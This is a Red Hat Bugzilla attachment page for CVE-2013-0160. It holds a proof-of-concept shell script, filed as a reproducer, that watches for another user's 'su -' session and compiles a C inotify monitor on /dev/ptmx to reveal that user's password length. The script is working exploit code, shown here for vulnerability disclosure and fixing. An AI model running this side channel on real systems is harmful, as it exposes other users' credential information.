Login
[x]
Log in using an account from:
Fedora Account System
Red Hat Associate
Red Hat Customer
Or login using a Red Hat Bugzilla account
Forgot Password
Login:
Hide Forgot
Create an Account
Red Hat Bugzilla – Attachment 674722 Details for
Bug 892983
CVE-2013-0160 kernel: /dev/ptmx to measure inter-keystroke timing
[?]
New
Simple Search
Advanced Search
My Links
Browse
Requests
Reports
Current State
Search
Tabular reports
Graphical reports
Duplicates
Other Reports
User Changes
Plotly Reports
Bug Status
Bug Severity
Non-Defaults
|
Product Dashboard
Help
Page Help!
Bug Writing Guidelines
What's new
Browser Support Policy
5.0.4.rh83 Release notes
FAQ
Guides index
User guide
Web Services
Contact
Legal
This site requires JavaScript to be enabled to function correctly, please enable it.
Local copy of a reproducer to determine password length for "su -" session
ptmx-su-pwdlen.sh (text/plain), 1.45 KB, created by
Jan Lieskovsky
on 2013-01-08 11:13:57 UTC
(
hide
)
Description:
Local copy of a reproducer to determine password length for "su -" session
Filename:
MIME Type:
Creator:
Jan Lieskovsky
Created:
2013-01-08 11:13:57 UTC
Size:
1.45 KB
patch
obsolete
>#!/bin/bash ># ptmx-su-pwdlen.sh -- This PoC discloses the password length when a local ># user runs "su -". See http://vladz.devzero.fr/013_ptmx-timing.php for ># more information. Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64). ># ># "THE BEER-WARE LICENSE" (Revision 42): ># <vladz@devzero.fr> wrote this file. As long as you retain this notice ># you can do whatever you want with this stuff. If we meet some day, and ># you think this stuff is worth it, you can buy me a beer in return. -V. > >if ps -e -o cmd= | egrep -q "^(-|^)su"; then > echo "[-] Kill/close all running \"su\" session before using this PoC" > exit 1 >fi > >exe=$(mktemp) || exit 1 >tmp=$(mktemp) || exit 1 > >cat > ${exe}.c << _EOF_ >#include <stdio.h> >#include <signal.h> >#include <unistd.h> >#include <sys/inotify.h> > >static int count = 0; > >void display_result() { > > printf("[+] password len is %d\n", count-1); > _exit(0); >} > >int main() { > > int fd; > char buf[1024]; > > signal(SIGINT, display_result); > > fd = inotify_init(); > inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY); > > while(read(fd, buf, 1024)) count++; > > return 0; >} >_EOF_ > >cc -o ${exe}{,.c} > >echo "[*] Wait for someone to run \"su -\"" > >while true; do > > ps -e -o cmd= | egrep "^(-|^)su" >${tmp} > x=$(wc -l ${tmp}) > > case ${x% *} in > > 1) (( run )) && continue; > echo -n "[+] su detected, full command: " > cat ${tmp}; ${exe} & > (( run = 1 )) ;; > > 2) [ ! -z "$!" ] && kill -2 $!; break ;; > > esac > >done > >rm -f ${exe}{,.c} ${tmp} >
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 892983
:
674721
| 674722